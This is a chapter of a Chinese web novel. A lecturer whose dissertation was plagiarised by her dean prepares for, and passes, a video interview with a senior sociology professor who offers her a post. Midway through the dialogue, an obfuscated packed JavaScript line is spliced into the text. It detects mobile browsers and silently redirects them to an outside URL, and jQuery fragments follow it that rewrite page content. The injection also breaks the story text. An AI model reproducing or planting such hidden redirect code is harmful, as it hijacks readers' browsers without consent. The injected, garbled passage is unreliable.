2025年4月12日，早上七点半。


    罗贝妮被一阵敲门声惊醒。


    她睡在杂物房的折叠床上，迷迷糊糊地睁开眼。


    “罗老师，醒了吗？”


    是徐寄遥的声音。


    罗贝妮一下子清醒了。她披上外套，推开门。


    客厅里，四个人都在。


    吴小糖歪在沙发上，还没完全醒。应宽已经坐在电脑前，屏幕上开着什么文档。俞彩虹端着茶杯，慢悠悠地喝着。


    徐寄遥站在窗边，转过身看着她。


    “周教授那边，同意了。”


    罗贝妮愣住了。


    “同意什么？”


    “视频面试，明天早上九点，三十分钟。”


    罗贝妮站在原地，一动不动。


    过了好几秒，她才反应过来。


    “明天？早上九点？三十分钟？”


    徐寄遥点点头。


    “周教授亲自安排的，他想跟你聊聊。”


    /


    罗贝妮的心跳开始加速。


    周齐远。南方大学社会发展学院院长。国内社会学界的顶级学者。


    她读过他所有的论文，引用过他的观点，在某次会议上远远地看过他一眼。


    他要跟她视频面试。


    她低头看了看自己，一件旧毛衣，一条睡裤，头发乱糟糟的，脸上还有枕头印。


    “我得去买衣服。”


    她的声音有点抖。


    吴小糖从沙发上弹起来。


    “买衣服？现在？”


    “对，现在，”罗贝妮已经开始翻包找手机，“我不能穿成这样见周教授。”


    徐寄遥看着她，没有拦。


    “下午去吧，商场十点开门。”


    罗贝妮点点头，但她的手还在抖。


    俞彩虹走过来，轻轻拍了拍她的肩。


    “别紧张，周教授人很好。”


    罗贝妮深吸一口气。


    “我知道，但我还是很紧张。”


    /


    上午十点，商场刚开门，罗贝妮和吴小糖就冲了进去。


    吴小糖是最兴奋的那个，东张西望，恨不得把所有店都逛一遍。


    罗贝妮被她拉着走，脑子里还是懵的。


    “罗老师，这件好看！快去试！”


    “这件也好看！试试！”


    “这件这件！肯定适合你！”


    试了六家店，换了十几套衣服，最后终于选定了一套。


    驼色的毛呢西装外套，黑色长裤。简洁干练，又不失知性气质。


    罗贝妮站在镜子前，看着里面那个人，有点恍惚。


    她很久没有这样看自己了。


    这半个月，她每天都穿着那件旧毛衣，窝在工作室里，盯着手机和电脑。


    她忘了自己还可以穿成这样，还可以像一个正常的、有未来的成年人。


    吴小糖在旁边拍手。


    “好看！就这件！”


    罗贝妮看着镜子里的自己，忽然觉得眼眶有点热。


    但她没让眼泪流下来。


    /


    买完衣服，罗贝妮拉着吴小糖，非要给她买礼物。


    “不行不行！”吴小糖拼命摆手，“我是来陪你买东西的，怎么能让你花钱！”


    罗贝妮摇头。


    “你陪了我这么久，今天让我表示一下，不然我心里过不去。”


    吴小糖还要推辞，罗贝妮已经把她拉到柜台前。


    “这件羽绒服怎么样？淡粉色的，配你。”


    吴小糖看了一眼价签，倒吸一口凉气。


    “太贵了！不行不行！”


    罗贝妮已经让店员包起来了。


    “给应宽买盒好茶叶，他天天熬夜，给俞老师买个羊绒披肩，她怕冷，给寄遥……”


    她想了想。


    “给寄遥买支钢笔吧，她写字好看。”


    吴小糖看着她一样一样地挑，一样一样地买，眼眶有点红。


    “罗老师……”


    罗贝妮回过头，笑了笑。


    “别煽情，走，回去！”


    /


    下午回到工作室，罗贝妮把礼物分给大家。


    吴小糖的羽绒服当场就穿上了，对着手机屏幕照了半天。


    应宽接过茶叶，推了推眼镜，说了声谢谢。


    俞彩虹摸着那条羊绒披肩，轻轻说了句“有心了”。


    徐寄遥接过那支钢笔，拿在手里看了看。黑色的笔身，金色的笔尖，分量很足。


    “谢谢。”


    就两个字。


    但罗贝妮知道，这两个字，已经很多了。


    整个下午，罗贝妮都在准备。


    她把论文从头到尾看了一遍，把当年做田野调查的笔记翻出来，把可能被问到的问题列了一张表。


    吴小糖在旁边陪着她，时不时给她递杯水。


    晚上十点，徐寄遥走过来。


    “早点睡，明天状态要好。”


    罗贝妮点点头，但她的手还在抖。


    徐寄遥看着她。


    “别怕。你行的。”


    /


    4月13日，早上七点半。


    罗贝妮醒了。


    她一晚上翻来覆去，脑子里全是面试的事。


    但奇怪的是，醒过来之后，她反而平静了。


    她换上那套新衣服，对着镜子整理了一遍。


    头发扎起来，露出一张干净的脸。眼睛里有点血丝，但精神还不错。


    八点十五分，所有人到齐。


    应宽已经把设备调好了。摄像头、麦克风、灯光，一切都准备就绪。


    罗贝妮坐在电脑前，手心开始出汗。


    徐寄遥站在她身后。


    “深呼吸。”


    罗贝妮深吸一口气。


    “别紧张，你是去面试的，不是去受审的。”


    罗贝妮点点头。


    八点五十五分，视频接通。


    /


    屏幕上出现周齐远的脸。


    五十多岁，头发花白。看起来很儒雅，但眼神很锐利，像是能看透人心。


    “你们好。”声音很温和。


    徐寄遥微微欠身。


    “周教授您好，我是徐寄遥，代吵APP的创始人。”


    周齐远点点头。


    “寄遥，你好，邮件收到了，写得非常清楚。谢谢你。”


    他又看向旁边。


    “这位是……俞老师？”


    俞彩虹上前一步，微微点头。


    “周教授，好久不见。”


    周齐远笑了。


    “好久不见，当年在活动上听过你的报告，印象深刻，后来听说你离开了学界，挺可惜的。”


    俞彩虹笑了笑。


    “现在不是回来了吗？虽然是另一种方式。”


    周齐远点点头。


    “挺好。”


    /


    寒暄过后，徐寄遥把位置让给罗贝妮。


    “周教授，这位就是罗贝妮老师。”


    罗贝妮深吸一口气，对着屏幕微微欠身。


    “周教授您好。”


    周齐远看着她，目光很温和，但不失锐利。


    “罗老师，你的论文我仔细看过了。”


    罗贝妮愣了一下，因为紧张浑身都很僵硬。


    “您、您真的看了？”


    “看了不止一遍，”周齐远说，“第三章那个‘贫困文化再生产’的理论模型，很有创见，田野调查的数据也很扎实，一看就是下了功夫的。”


    罗贝妮不知道该说什么。


    周齐远继续说：


    “跟我说说，你当时是怎么想到做这个课题的？”


    /


    罗贝妮沉默了几秒，然后开口。


    “2019年，我博二，那一年，我跟着一个扶贫调研组下去跑了一圈，跑了三个省，十几个村子。”


    她的声音慢慢稳下来。


    “刚开始只是帮调研组收集数据，没什么自己的想法，但跑着跑着，我发现一个问题。”


    “什么问题？”


    “那些贫困的家庭，不是彻底没能力没资源，他们有的是地，有的是劳动力，但他们就是穷，一代一代地穷下去。”


    周齐远点点头。


    “然后呢？”


    “然后我就想，为什么会这样？是什么东西让他们走不出来？”


    罗贝妮的眼睛里有了光。


    “后来我在一个村子里待了三个月，每天跟那些家庭聊天，听他们讲自己的故事，我发现，他们不是不想努力，是他们根本不知道该怎么努力，他们的父母没教过他们，他们的邻居也没人知道，祖祖辈辈，都是这么过的。”


    “我把那些故事记下来，整理成数据，慢慢就发现，贫困是会遗传的，遗传一种生活方式，一种思维方式。”


    周齐远听得很认真。


    “这就是你那个‘贫困文化再生产’的模型？”


    罗贝妮点点头。


    “我当时只是有个模糊的想法，觉得可以用‘文化资本’和‘社会资本’来解释，后来读了您那篇《贫困的文化逻辑》，才把思路理清楚。”


    周齐远笑了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248135|197680||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “我那篇论文，是十五年前写的。”


    罗贝妮点点头。


    /


    周齐远看着她，目光里多了一些东西。


    不是欣赏，是一种更深的认可。


    “罗老师，你做这个田野调查，花了多久？”


    “一年半，2019年到2020年。”


    “跑了多少个村子？”


    “三十七个。”


    周齐远点点头。


    “不容易。”


    罗贝妮沉默了一下。


    “是不容易，但值得。”


    周齐远看着她，沉默了几秒。


    然后他问：


    “罗老师，你知道启元大学那边，现在是什么情况吗？”


    罗贝妮愣了一下。


    “我……我很久没回去了，从3月初开始，就一直没回学校。”


    周齐远点点头。


    “我跟几个熟人打听了一下，启元学术委员会那边，已经知道这件事了。”


    罗贝妮的手握紧了。


    “他们怎么说的？”


    周齐远沉默了一下。


    “争议很大。”


    “什么意思？”


    “有一部分人认为，这是严重的学术不端，应该严肃处理，但是还有一部分人……”他顿了顿，“觉得是你在闹。”


    罗贝妮愣住了。


    “闹？”


    “他们说，师生之间的事情，本来就有很多模糊地带，张凌烽是院长，是权威，你一个小讲师把事情捅到网上，是在炒作、博眼球，一些人觉得，张凌烽只是没处理好跟学生的关系，不是什么严重的学术问题。”


    罗贝妮的脸色变了。


    “这、这怎么可能？我有证据！论文草稿、邮件、录音，我都有！”


    周齐远点点头。


    “我知道，我也相信你。”


    他叹了口气。


    “学术圈不是你想象的那样，证据是证据，人情是人情，张凌烽在那个圈子里待了三十年，有的是人替他说话。”


    罗贝妮沉默了。


    周齐远继续说：


    “就算最后查实了，给了张凌烽处分，你在启元大学还能待下去吗？”


    罗贝妮没有说话。


    “你待不下去的，”周齐远说，“那些支持张凌烽的人，不会放过你，他们会想办法让你评不上职称，拿不到项目，发不了论文，温水煮青蛙，慢慢把你挤走。”


    “我接收你，就是不想看到你这样。”


    /


    罗贝妮的眼泪流下来。


    “周院长……谢谢您。”


    周齐远点点头。


    “你来了我这儿，就是最好的回应。”


    罗贝妮擦了擦眼泪。


    周齐远笑着说：


    “你这篇论文，放在国内任何一所大学，都是优秀的博士论文，张凌烽剽窃你，不是因为他坏，是因为他写不出这么好的东西。”


    “我做了一辈子学问，最看重的就是真东西，你是真有东西的人，我不能让你被埋没。”


    /


    视频结束之后，罗贝妮坐在椅子上，一动不动。


    三十分钟，比想象中过得快。


    吴小糖凑过来。


    “罗老师，你没事吧？”


    罗贝妮摇摇头。


    “没事。”


    她站起来，走到窗边，看着外面的街道。


    徐寄遥走过来，站在她旁边。


    “想什么呢？”


    罗贝妮沉默了几秒。


    “在想周院长说的那句话。”


    “哪句？”


    “你是真有东西的人……”


    她顿了顿，声音又哽咽了。


    “我以为我写那篇论文，只是为了毕业，从来没想过，它会成为我的一条出路。”


    徐寄遥看着她。


    “所以你当初写的时候，是真想写好的。”


    罗贝妮点点头。


    “当然是真的，我那时候什么也不想，就想把那些人的故事记下来，让更多人看到。”


    徐寄遥没有说话。


    但她的嘴角，微微上扬了一下。


    /


    晚上，罗贝妮坐在沙发上，翻着那些私信。


    一条一条，都是这些天收到的。


    她看了很久。


    然后她放下手机，走到窗边。


    窗外，那些路灯，一盏一盏，亮得很稳。


    她想起周齐远说的那句话：


    “我做了一辈子学问，最看重的就是真东西。”


    她看着窗外，忽然笑了。